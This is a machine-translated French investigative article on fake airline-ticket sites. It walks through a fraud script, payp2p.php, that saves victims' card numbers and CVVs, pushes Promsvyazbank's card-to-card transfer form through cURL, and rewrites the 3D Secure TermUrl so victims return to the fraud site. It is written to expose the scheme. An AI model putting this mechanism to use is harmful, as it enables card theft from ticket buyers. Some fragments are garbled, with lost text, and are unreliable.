Vols pas chers ... Un réseau de sites Web frauduleux volant de l'argent des cartes. La deuxième enquête. Qu'est-ce que Promsvyazbank a à voir avec cela?



Il y a environ un mois, j'ai publié un article sur Geektimes, «Billets d'avion bon marché ... Ou un réseau de sites frauduleux qui volent de l'argent des cartes. Mon enquête. " La publication a reçu une excellente réponse et une suite inattendue ...

Permettez-moi de vous rappeler pour ceux qui n'ont pas lu la première partie. Dans une publication basée sur des cas réels, des stratagèmes ont été décrits utilisant des fraudeurs qui volent de l'argent sur les billets d'acheteurs de billets d'avion qui étaient imprudents pour se rendre sur un faux site de vente de billets. Le nombre de ces sites frauduleux pour la vente de billets d'avion sur RuNet est de plusieurs dizaines et centaines (y compris fermés). Sur ces sites, l'utilisateur voit d'abord des informations réelles sur les vols, il est proposé de passer une commande et de la payer avec une carte de crédit. Tout est beau jusqu'à ce que les acheteurs de billets d'avion découvrent qu'ils se retrouvent sans argent et sans billets.

Dans tous les cas détectés, pour voler de l'argent, ces sites utilisent les services des banques pour transférer de l'argent de carte à carte (P2P). Dans la première partie, le mécanisme de la façon dont la page de la Banque Tinkov pour le paiement de carte à carte est déguisée et intégrée dans des sites Web frauduleux, de sorte que «l'acheteur» ne remarque rien, a été décrit en détail. Promsvyazbank a également été mentionnée - c'est par lui que l'argent a été volé sur la carte de la victime dans l'histoire qui a été décrite. Et s'il n'y avait pas de questions laissées à la banque TKS, alors dans le cas de Promsvyazbank, il n'était pas clair comment l'argent était retiré. Le script principal utilisé pour voler de l'argent a été exécuté côté serveur et sans code source, on ne pouvait que supposer ce qu'il faisait.

Et l'un des utilisateurs de Geektimes m'a contacté et m'a envoyé le script très payp2p.php qui a été utilisé récemment sur la plupart des sites de vente de billets d'avion frauduleux. Ce script utilise le service Promsvyazbank pour transférer de carte en carte. Et à mon avis, Promsvyazbank, fournissant son service, qui était facile à tromper, a contribué à la croissance du nombre de fraudeurs sur Internet.

Il existe probablement d'autres banques similaires, mais cette publication traitera principalement de Promsvyazbank.

Avant de commencer l'analyse du script lui-même, voyons à quoi ressemblait la page de paiement d'un site Web frauduleux et à quoi ressemble la page de traduction d'une carte à une carte Promsvyazbank.

Cela ressemblait à la page de paiement sur les sites frauduleux
Lors de l'analyse du code HTML de cette page de paiement, je n'ai trouvé aucune partie des pages des banques, les iframes intégrés ne sont pas utilisés, les scripts ne sont pas utilisés du tout et la page elle-même est très simple et ne ressemble pas à la page de Promsvyazbank. Les données saisies dans le formulaire ne sont pas vérifiées par des scripts, mais par des mécanismes intégrés dans les navigateurs - en utilisant les attributs «pattern» et «required» pour les champs de saisie et pour les listes déroulantes sélectionnées. C'est-à-dire même la page stockée dans le navigateur sur le disque local reste alors «opérationnelle» et peut être utilisée pour tester comment les données cartographiques sont interceptées. Une page similaire enregistrée précédemment a été utilisée dans le cadre de cette publication afin de comprendre le fonctionnement du script.

En fait, cette page est juste un formulaire pour entrer un numéro de carte. Une fois le formulaire confirmé, le traitement est transféré vers le programme payp2p.php.

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php peut tout faire. Son code était auparavant indisponible pour nous, car il s'exécute côté serveur. Mais comme je l'ai déjà écrit, nous avons maintenant un code, et nous saurons tout.

Voyons maintenant à quoi ressemble la page de paiement de carte en carte sur le site de Promsvyazbank.

https://www.psbank.ru/Personal/eCommerce/Card2Card


Comme vous pouvez le voir, la page Promsvyazbank ne ressemble pas du tout à la page de paiement présentée précédemment. Même le nombre de champs de saisie pour le numéro de carte ne correspond pas.

Examinons le code HTML de la page PSB pour comprendre comment cela fonctionne. Tout ce que nous devons savoir est dans ces quelques lignes:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

Cette pièce signifie que la vraie page de paiement est située sur un domaine différent, et ce que nous voyons sur le site Web de Promsvyazbank est affiché dans une «fenêtre» utilisant la technologie iframe.

Je me demande à qui appartient le domaine 3ds.payment.ru.
Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru



Le domaine 3ds.payment.ru appartient également à Promsvyazbank. Nous nous souviendrons de ce domaine, il se retrouvera plus d'une fois dans la description.

Voyons quelle est la page que Promsvyazbank intègre sur son site, et éventuellement sur d'autres sites.

https://3ds.payment.ru/P2P/card_form.html


Il s'agit d'une véritable page utilisée pour les transferts de carte en carte. Comme vous pouvez le voir, cette page est sans bordure. Ceci est fait exprès pour le rendre plus pratique à construire dans d'autres sites.

Dans le code HTML de cette page, nous sommes intéressés par cette partie:



Ce sont des champs de saisie cachés pour stocker les informations de service. Nous nous souviendrons également de cette page. Et où il est utilisé sera décrit plus tard.

La partie introductive est terminée, passons à la partie la plus intéressante et voyons comment fonctionne le script payp2p.php ou comment il a fonctionné.

Le script est simple et ne nécessite aucune connaissance approfondie du langage de programmation PHP pour le comprendre. Pour plus de commodité, je l'ai cassé en morceaux. À gauche, les numéros de ligne qui peuvent être référencés. Le script est complètement inchangé sous la forme dans laquelle il a été reçu. Après chaque morceau de code, un déchiffrement et un exemple des valeurs des variables pendant l'exécution du programme seront présentés (c'est-à-dire quelque chose de similaire au débogage). Dans certains endroits, des commentaires excessifs sont possibles - cela est fait pour que les lecteurs hors programmation puissent également comprendre la signification du code de programme.

Pour les tests, nous avons besoin d'un formulaire dans lequel vous devrez saisir les données de la carte avec lesquelles le paiement est supposé. Nous utiliserons le formulaire enregistré précédemment. L'aspect du formulaire sur un site frauduleux est illustré dans l'image au début de l'article. Le formulaire sera écrit plus loin ci-dessous. Pour les tests, entrez le numéro de carte 1111.2222.3333.4444.

Commençons.



Ligne 3 - n'exécute aucune commande.
Ligne 4 - Un fichier dbconfig.php distinct est chargé dans lequel les paramètres de connexion à la base de données MySQL sont stockés. Une capture d'écran du code dbconfig.php et son analyse sont ci-dessous.
Ligne 6 - nous nous connectons au serveur MySQL, dans la base de données dont nous stockons ensuite les données sur les cartes volées et les transferts d'argent effectués. Cette ligne se connecte simultanément au serveur MySQL et quitte le programme si la connexion a échoué pour une raison quelconque.
Ligne 11 - sélectionnez l'encodage pour travailler avec la base de données MySQL.
Ligne 13 - Nous nous sommes connectés au serveur MySQL plus tôt, maintenant nous sélectionnons la base de données avec laquelle nous travaillerons.

Le script payp2p.php commence son travail après qu'un utilisateur trompé a rempli un formulaire sur une page similaire à une page de paiement en ligne classique. En cliquant sur le bouton «Payer» du formulaire, le script payp2p.php reçoit les données saisies dans le formulaire. Les données du formulaire au script sont transmises à l'aide de la méthode POST.

Ligne 16 - le numéro de carte de crédit entré dans le formulaire de la page précédente est enregistré dans la variable $ num.
Ligne 17 - le mois / l'année de la période de validité de la carte est stocké dans la variable $ date.
Ligne 18 - Le code CVV de la carte est enregistré dans la variable $ cvv.
Ligne 19 - dans la variable $ code, un certain code est généré plus tôt lors de la passation de la «commande de billets d'avion». Ce code est utilisé pour que l'utilisateur puisse visualiser sa commande via un lien spécial. Le même code est utilisé pour identifier la commande (sur la page de paiement, pour afficher automatiquement le montant du paiement; s'il est enregistré par les escrocs lors de l'enregistrement dans le «livre des ventes»; ce code est également transmis au formulaire de paiement, probablement comme identifiant de transfert (voir ci-dessous).
Lignes 21-22 Une ligne est formée - une requête SQL, qui est ensuite exécutée. La requête SQL ajoute les valeurs de l'identifiant de commande, du montant, de la date d'expiration de la carte, du code CVV de la carte et de l'heure actuelle exacte à la table «carte». Un exemple d'enregistrement dans la base de données est ci-dessous.

Exemple d'informations de débogage


« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

Tournez temporairement notre attention temporairement sur le fichier dbconfig.php.



Voici les paramètres de connexion à la base de données. D'après ce qui peut être intéressant:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .



Ligne 28 - un fichier aviacfg.php tiers est connecté. Il s'agit d'un fichier de configuration qui stocke les numéros de carte des destinataires et d'autres paramètres.
Ligne 29 - Un tableau est créé à partir des numéros de carte séparés par un saut de ligne dans le fichier de configuration.
Ligne 30-31 - La variable $ crd se voit attribuer au hasard le numéro d'une des cartes.

Voyons ce que nous avons dans le fichier aviacfg.php



Ici, nous voyons que la variable $ aviacfg est un tableau qui contient les valeurs de remise (remise) et de cartes (numéros de carte pour lesquels des retraits sont attendus). Dans cet exemple, il n'y a qu'un seul numéro de carte, mais il peut y en avoir n'importe quel nombre. Le nom du fichier (aviacfg.php) et la variable ($ aviacfg) lui-même indiquent pour quelle zone ce script a été affiné. La valeur de la remise détermine le pourcentage des prix sur un site Web frauduleux qui sera affiché moins cher qu'ils ne sont réellement vendus sur un site Web de billets d'avion «honnête». Le propriétaire d'un site Web frauduleux peut rapidement réduire le prix affiché des billets. Plus le prix affiché est bas, plus il est probable que l'un des acheteurs potentiels risque d'acheter des billets sur un site inconnu. À propos de la remise, il y aura un commentaire plus tard sur la façon dont elle est implémentée dans le code.



De plus, le montant du transfert, le numéro de la carte vers laquelle le transfert est effectué et le code qui identifie la commande de billets d'avion sur un site Web frauduleux sont stockés dans la base de données MySQL. Un exemple d'enregistrement dans la base de données sera présenté ci-dessous.

Exemple d'informations de débogage




Ligne 40 - la variable $ p112 se voit attribuer une valeur avec le numéro de carte entré précédemment dans le formulaire.
Lignes 41-51 - Le numéro de carte est divisé en parties de quatre chiffres.
Lignes 53-57 - La longueur du numéro de carte est vérifiée. Si dans le numéro de carte le nombre de caractères diffère de 16 ou 18, une sortie se produit. Un message s'affiche pendant cinq secondes, puis redirigé vers une autre page. Dans cet exemple, le retour se fera sur la page de commande du site frauduleux.
À la ligne 56 "Iaaa? Iua aaiiua ea? Ou" lors de la conversion du codage ISO8859-1 => Windows-1251 correspond au texte: "Données de carte non valides".
Lignes 58-61 - les variables $ p4, $ p5, $ p6, $ p11 reçoivent les valeurs saisies plus tôt dans le formulaire (date d'expiration de la carte, code CVV, montant du paiement).
Ligne 63 - Dans la variable $ info, toutes les données de la carte et le montant du transfert sont enregistrés. Lors de la formation, les sauts de ligne "\ n" et les séparateurs "### ..." sont utilisés. Cette variable n'est utilisée nulle part ailleurs. Lors de la finalisation du script, il peut être utilisé pour enregistrer des enregistrements dans un fichier texte normal ou pour l'afficher pendant le débogage.

Exemple d'informations de débogage




Lignes 66-75 - Il s'agit en fait d'une duplication du bloc de lignes 27-36. Encore une fois, la carte réceptrice est sélectionnée au hasard dans le fichier de configuration aviacfg.php, et tout cela est enregistré dans la table de base de données card_balance. Ainsi, dans la table card_balance, à chaque tentative de transfert, deux enregistrements seront créés. Si une seule carte de destinataire est obstruée dans aviacfg.php, avec un échantillonnage aléatoire, bien sûr, la même carte sera toujours sélectionnée. Dans ce cas, les entrées de la table card_balance seront simplement dupliquées. Mais si plusieurs numéros de carte sont bouchés dans aviacfg.php, avec un échantillonnage aléatoire, les résultats seront différents et il y aura un enregistrement dans la table card_balance, le premier est incorrect et le second est correct.

C'est une erreur, et les acheteurs du script (il y aura un commentaire séparé à leur sujet) peuvent demander au développeur de compenser le préjudice moral associé au fait que les traductions réelles sont au moins deux fois moins que les entrées de journal.

Exemple d'informations de débogage


Exemples d'entrées de base de données MySQL
. : «card» «card_balance». , .

, , — . .

«card».



«card_balance».


Veuillez noter que dans le premier cas, seules les cartes d'expéditeur sans montant, mais avec l'heure exacte, sont stockées dans la table de base de données MySQL, et dans le second cas, les données sur les transferts effectués (plus précisément, sur les tentatives de transferts) sont enregistrées. Le numéro et le montant de la carte du destinataire sont enregistrés, les données de l'expéditeur ne sont pas enregistrées dans le deuxième tableau. Dans les deux cas, l'ID de commande est également enregistré.

La première partie du script, qui a été décrite ci-dessus, peut être arbitrairement appelée «entrée dans le livre des ventes pour la comptabilité». Elle n'a aucun lien avec le transfert d'argent. Pour transférer de l'argent, vous pouvez vous passer de l'enregistrement des données dans la base de données. Néanmoins, nous constatons que les données de la carte sont enregistrées, ce qui signifie qu'à l'avenir, elles pourront être utilisées pour voler de l'argent aux cartes «en mode manuel». Les données de la carte peuvent être vendues ou utilisées, par exemple, pour payer la publicité dans Yandex.Direct, comme indiqué dans l'article précédent.

La deuxième partie du script concerne le transfert d'argent via le site de Promsvyazbank 3ds.payment.ru.



La ligne 78 du commentaire indique qu'il est supposé que la page de confirmation pour un paiement réussi a une adresse comme "/sus.php?cd=BX3FKT". En cas de succès, l'utilisateur doit être renvoyé à cette adresse.

Ligne 80-91 Pour effectuer une traduction, vous devez d'abord vous rendre sur la page de service.

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p.


Cette page affiche quelque chose comme cette ligne:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" est ~ "Numéro de commande", "TIMESTAMP" est l'horodatage actuel. Si la page est actualisée, de nouvelles données sont toujours émises.

Pour lire une page Web ou envoyer des données vers une page Web, utilisez la commande curl. Curl (cURL) vous permet de vous connecter par programme à des serveurs Web à l'aide de divers protocoles, y compris http et https. Dans notre cas, curl est un navigateur Web logiciel qui peut enregistrer des pages Web dans des variables. La page stockée dans la variable est une très longue ligne avec le code source HTML de cette page. Vous pouvez travailler avec de telles variables de chaîne de la même manière qu'avec n'importe quelle chaîne - vous pouvez rechercher du texte, remplacer du texte, etc. Curl dans les scripts décrits sera utilisé plusieurs fois.

Ligne 80 - L'URL est stockée dans la variable $ login_url.
Ligne 81 - L'URL est stockée dans la variable $ agent.
Ligne 82 - Initialise la session cURL.
Ligne 83-90 - Les paramètres sont définis pour la session avec CURL (adresse de page stockée précédemment dans $ login_url; identifiant de navigateur précédemment stocké dans $ agent; page à partir de laquelle la page est redirigée ou autrement référencée; REFERER; paramètres COOKIE, etc.)
Ligne 91 - À la suite de la commande curl_exec, une page Web sera obtenue par programme, qui sera enregistrée dans la variable $ page.
Lignes 93-95 La page Web enregistrée $ page contient ~ "numéro de commande" ORDER_NUM, qui est stocké dans la variable $ ord.
Lignes 96-98 La page Web $ page enregistrée contient l'horodatage TIMESTAMP, qui est stocké dans la variable $ tim.

Exemple d'informations de débogage




Maintenant, un "navigateur logiciel" doit aller sur la page https://3ds.payment.ru/P2P_ACTION/card_form.html. Il s'agit de la même page de paiement, dont une capture d'écran a été montrée ci-dessus. Il s'agit d'une page avec un formulaire dont une partie des champs de service est masquée. Une partie du code HTML avec des champs de saisie masqués a été montrée ci-dessus. Certaines valeurs de ces champs masqués doivent être mémorisées afin de pouvoir les utiliser ultérieurement lors de la soumission du formulaire.

Ligne 99 - Nous enregistrons l'adresse de la page dans la variable $ url.
Ligne 100 - Les paramètres de la session avec URL sont définis (dans ce cas, seule l'adresse de page. Les autres paramètres restent les mêmes).
Lignes 101-102 Les variables $ page et $ part précédemment utilisées sont supprimées.
Ligne 103 - À la suite de la commande curl_exec, une page Web sera obtenue par programme, qui sera enregistrée dans la variable $ page.
Lignes 104-106 La page Web $ page enregistrée contient la valeur du champ TERMINAL, qui est stockée dans la variable $ term.
Lignes 107-109 La page Web $ page enregistrée contient la valeur du champ TRTYPE, qui est stockée dans la variable $ type.
Lignes 110-112 La page Web $ page enregistrée contient la valeur du champ MERCHANT, qui est stockée dans la variable $ merch.
Lignes 113-115 La page Web $ page enregistrée contient la valeur du champ EMAIL, qui est stocké dans la variable $ ml.

En général, ces valeurs sous la forme indiquée ne changent jamais. Et ils pourraient être enregistrés dans le code sous forme de constantes et ne pas être reçus à chaque fois. De toute évidence, l'obtention des valeurs de ces champs est effectuée pour plus de sécurité au cas où un ou plusieurs champs changeraient dans le futur.

Description de certains champs. Une description complète de tous les champs est facile à trouver dans Google.

TERMINAL - Numéro unique du terminal virtuel du point de vente
MERCH_NAME - Nom du point de
vente MERCHANT - Numéro du point de vente attribué par la banque
TRTYPE - Type de transaction demandée (Paiement - 1, Annuler - 22, Pré-autorisation - 0, Finalisation des règlements - 21)
EMAIL - Adresse e-mail envoyer des alertes

Exemple d'informations de débogage

, - . ($page)

EMAIL ici, c'est un cas épique. Peu importe, des documents supplémentaires sur cet EMAIL à la fin de l'article dans l'application sous le spoiler.



Ici, nous voyons un grand bloc. Le fait qu'il paraisse volumineux s'explique par la largeur de colonne limitée dans la publication et la présentation pratique du code par l'auteur du script. Tout de même pourrait être placé dans 10 lignes de code, mais la commodité de lire et de modifier le code en souffrirait.

Ligne 120 - Dans la variable $ url, enregistrez l'adresse de la page.
Ligne 121-123 - Définissez les paramètres d'une session avec URL.
Ligne 124 - un tableau de $ ncrd est créé à partir du numéro de carte du destinataire dans la variable de chaîne $ crd, qui contiendra des parties du numéro de carte divisées en quatre.
Ligne 125 - Les en-têtes HTTP sont stockés dans la variable de tableau $ headers.
Ligne 126 - Les paramètres sont définis pour la session avec CURL (en-têtes HTTP de la variable $ headers.
Lignes 135-164 - Un tableau $ postL est créé, dont chaque valeur correspondra au champ de formulaire sur la page de paiement (numéro de carte de l'expéditeur, divisé par quatre; date d'expiration de la carte de l'expéditeur ; Carte CVC de l'expéditeur; numéro de carte du destinataire à quatre voies; date d'expiration de la carte du destinataire; carte CVC du destinataire; montant du paiement; "numéro de commande"; description de la page de confirmation; numéro du terminal; nom du point de vente; e-mail pour les notifications; horodatage ; numéro de carte de l'expéditeur non divisé en parties; numéro de carte du destinataire non divisé en parties; données sur le logiciel et le matériel "sur l'ordinateur de l'expéditeur", conçues pour créer l'apparence d'un utilisateur réel, pas d'un script).
Lignes 135 - Les paramètres sont définis pour la session cURL (données transmises dans la requête HTTP POST. Dans ce cas, le tableau $ postL est converti en une chaîne, qui est une chaîne codée par URL, comme 'p1=val1&p2=val2&...'.

Des données plus clairement transmises sont affichées dans la capture d'écran avec les informations de débogage ci-dessous.

Exemple d'informations de débogage




Ligne 166 - À la suite de la commande curl_exec, les données préparées seront envoyées au formulaire de page Web en utilisant la méthode POST. Pour une page Web, une telle soumission aura exactement la même apparence que si un utilisateur régulier remplissait et confirmait le formulaire dans un navigateur normal. La page avec le résultat de l'envoi de données au formulaire sera enregistrée dans la variable $ page.
Ligne 167 - La session cURL se termine.
Ligne 168 - Dans la page résultante, qui est stockée dans la variable $ page, et comme nous nous en souvenons, est une longue ligne, la sous-chaîne «Erreur» est recherchée.
Lignes 169-173 - Si la sous-chaîne «Erreur» est trouvée, le message d'erreur «La carte ne correspond pas» s'affiche pendant 5 secondes, puis le script se ferme et redirige la page affichée dans le navigateur vers la «page de commande». Si l'utilisateur persiste, il peut à nouveau essayer de passer par la procédure de paiement.

Page affichée en cas d'erreur.



Les causes d'erreurs que la banque émet peuvent être différentes (une erreur dans le numéro de carte, des fonds insuffisants, une erreur d'autorisation, et bien d'autres). Mais pour le script payp2p.php il n'y a pas de différence. Une fois le paiement échoué, cela signifie que l'utilisateur est redirigé vers la page à partir de laquelle vous pouvez répéter la tentative de paiement. La page à laquelle l'erreur est renvoyée peut être facilement modifiée en fonction de la tâche.

Exemple de code HTML retourné par la page bancaire, en cas d'erreur
<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
	} else if (rctext == "Authentication failed" && (ext_diag_code == "NS_ATTEMPT" || ext_diag_code == "S_ATTEMPT" || ext_diag_code == "ATTEMPT" || ext_diag_code == "UNAVAIL")){
		window.top.location = "http://www.psbank.ru/Card2Card/3DSFailure";
	} else {
		window.top.location = "http://www.psbank.ru/Card2Card/TechReasons";
	}
   }
</script>
</head>
<body onload="netcetera_set_DID('');redirect('Authentication failed','BIN_ERROR')">
</body>
</html>


Un exemple d'informations de débogage si la banque signale une erreur lors du paiement


Ligne 174 - S'il n'y avait pas de sortie précédente du script en raison d'une erreur lors du paiement, cela signifie que tout se passe comme prévu. Dans la page précédemment enregistrée dans la variable $ page, toutes les sous-chaînes avec l'adresse sont remplacées par une https://3ds.payment.ru/cgi-bin/cgi_linkchaîne avec une adresse de type mydomain.ru/sus.php?cd = ... - c'est l'adresse de la page du site frauduleux à laquelle l'utilisateur doit accéder si le paiement est réussi. (Sur une telle page, l'utilisateur peut être remercié et informé que des billets électroniques ont été envoyés par courrier). Après avoir remplacé la sous-chaîne, le résultat est stocké dans la variable $ pp.

Ligne 175 - La variable $ pp s'affiche dans le navigateur. Puisque la variable $ pp est une chaîne avec le code HTML complet de la page, l'utilisateur verra une page. La page affichée ne différera pas extérieurement de la page d'origine que la banque a donnée - la différence sera uniquement à l'intérieur du code HTML à l'endroit où le lien a été remplacé.

Alors, quelle est cette page que la banque donne en cas de saisie du bon numéro de carte, et dans laquelle le script substitue un lien vers la page de paiement réussie sur un site frauduleux? Et après tout, probablement, il devrait toujours y avoir un chèque 3D Secure des banques émettrices, qui ne permettra pas le paiement? Le code s'est terminé à l'endroit le plus intéressant et il y a des doutes que sans scripts, formulaires, etc. compliqués, il peut fonctionner.

. - . . .

Je conduis mon numéro de carte bancaire dans le fichier aviacfg.php. J'essaierai d'accepter le transfert, si cela fonctionne bien sûr. J'ouvre la page du formulaire précédemment enregistrée sur le disque. Ce formulaire a simplement été enregistré dans le navigateur lors de la visite de l'un des sites frauduleux qui, au moment de la rédaction de la première partie de la publication, fonctionnait toujours. Le formulaire a déjà été enregistré avec la somme de 2915 roubles, mais pour le tester, c'est trop. Changeons-le. Dans n'importe quelle forme, il y a des champs visibles et cachés. Les champs masqués (entrée, sélection) ne sont pas différents des champs ordinaires, sauf qu'ils ne sont pas visibles. Ces champs sont utilisés pour stocker des informations de service que l'utilisateur n'a pas besoin de voir. Les champs de saisie sont masqués de deux manières.

  • CSS ( display:none). , (input), , ( DIV) input.
  • — , type=«hidden». type=«text».

Dans notre cas, les champs du formulaire sont masqués en utilisant type = "hidden".

Nous appuyons sur le navigateur F12 (mode de développement web). Trouvez le bon endroit dans le code HTML et changez le type de texte = "caché" en type = "texte" pour deux éléments d'entrée ou plus. Nous voyons maintenant les champs dans lesquels la somme et le code de service (code) sont stockés. Réduisez la quantité de 2915rub à 20rub. Saisissez maintenant les données de votre deuxième carte bancaire dans le formulaire. L'argent doit être débité de cette carte s'il est possible d'effectuer un virement.



Nous confirmons le formulaire en cliquant sur le bouton "Payer". Après avoir cliqué sur le bouton, le script payp2p.php est lancé, qui reçoit les données saisies dans le formulaire.

À ma grande surprise, après avoir entré le vrai numéro de carte et cliqué sur le bouton «Payer» du formulaire de test, j'ai vu la page de la Sberbank (la banque à partir de laquelle le transfert est effectué) à l'écran, me demandant d'entrer le code de confirmation 3D Secure.



Sur mon téléphone, j'ai également reçu un SMS de Sberbank avec un code.



Avant de tester avec une carte de crédit valide, je supposais que pour confirmer le code 3D Secure, il devait être «trompé» d'une manière ou d'une autre par l'utilisateur, puis transférer secrètement par programmation la confirmation 3D Secure à ce formulaire. Cependant, tout s'est avéré beaucoup plus simple. Une fois les données de transfert de carte à carte envoyées sur le site Web de Promsvyazbank, le navigateur affiche le formulaire de la banque émettrice de la carte à partir de laquelle le transfert est effectué. Dans mon cas, c'est Sberbank. Cette forme n'a même pas besoin d'être truquée. Le formulaire de confirmation est affiché sur le site Web HTTPS de Sberbank. Les victimes de fraudeurs elles-mêmes directement dans ce formulaire qui leur sont familiers saisissent un code de confirmation. Après cela, si le transfert réussit, l'argent est débité. Bien qu'il soit théoriquement possible de protester contre un tel transfert, il est loin que l'argent soit restitué.La probabilité d'un remboursement est affectée par de nombreux facteurs, notamment la rapidité avec laquelle la «victime» s'adressera à sa banque.

Code HTML de la page que Sberbank distribue pour confirmer 3D Secure sous le spoiler. Le code a été obtenu lors des tests en écrivant la variable $ page dans un fichier texte. Ligne 166 du script payp2p.php.

Code de page HTML 3D sécurisé avant le remplacement de ligne
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

Code HTML de la page après avoir remplacé une partie du texte, sous le spoiler. Le code a été obtenu lors des tests en écrivant la variable $ pp dans un fichier texte. Ligne 174 du script payp2p.php.

Code de page HTML 3D sécurisé après remplacement d'une chaîne
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
</HEAD>
<BODY ONLOAD="javascript:OnLoadEvent();">
<FORM ACTION="https://acs3.sbrf.ru:443/acs/pa?id=QAB6XaYQTRm-t_6DHVnp2Q" METHOD="post" NAME="ThreeDform" target="_self">
<input name="PaReq" type="hidden" value="eJxVUmFPgzAQ/SuE966lY2iWo4aJOl1mcG7TfTK1VCCOwkpR9u9tJ3P6pbn37nLv+u7gsiu3zqdQTVHJ0PUG2HWE5FVayCx0V8ubswv3ksIyV0LET4K3SlCYi6ZhmXCKNHSTaCF24+doErywzeNyUZ7p1yCermVNHl0KhzSFXoCa/gMC6AhNJ8VzJjUFxneTuwfqYzLC54B6CKVQdzHFGAfYI8TH/pB4GNAPDZKVgl5Fi5jYx0meJtHDbLBYATpkgFet1GpPA38I6AigVVuaa12PEaqbNyY/BqoFZFlAp4GS1kaN6dIVKZ2pgu2f41s565JNs84SKbL9+z0bbXkIyFZAyrSgBHuBhz3fwcGYjMZDo3vggZVWnnojbMbvAdRWI/qb+cuAcVuZZRznPyIQXV1JYSqMlb8xpKLhVBf8Q2inZnsjbAlAp49cTa3PXBvrSKp1rqOvbZJVs/VXdPuez7vdZj59uw6t+4ciK1QYx7xz63kPANk2qF8s6m/BRP9u5BtPwMYZ">
<input name="MD" type="hidden" value="161732779-506DEA0AD5677154">
<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">
</FORM>
<SCRIPT>
function OnLoadEvent () 
{
  document.forms[0].submit();
}
</SCRIPT>
</BODY>
</HTML>

En bref, dans le code HTML de la page 3D Secure (dans cet exemple, de Sberbank) la ligne:

<input name="TermUrl" type="hidden" value="https://3ds.payment.ru/cgi-bin/cgi_link">

Modifie par programme:

<input name="TermUrl" type="hidden" value="http://p2p.localhost/sus.php?cd=BX3FKT">

La chaîne de remplacement est l'adresse de la page vers laquelle la carte bancaire émettrice de l'expéditeur après vérification du code 3D Secure doit renvoyer l'utilisateur. Avant que le script ne remplace la ligne, le site Web de Promsvyazbank était spécifié comme adresse de retour. Une fois que le script a remplacé la ligne, une page du site frauduleux est déjà indiquée comme adresse de retour.

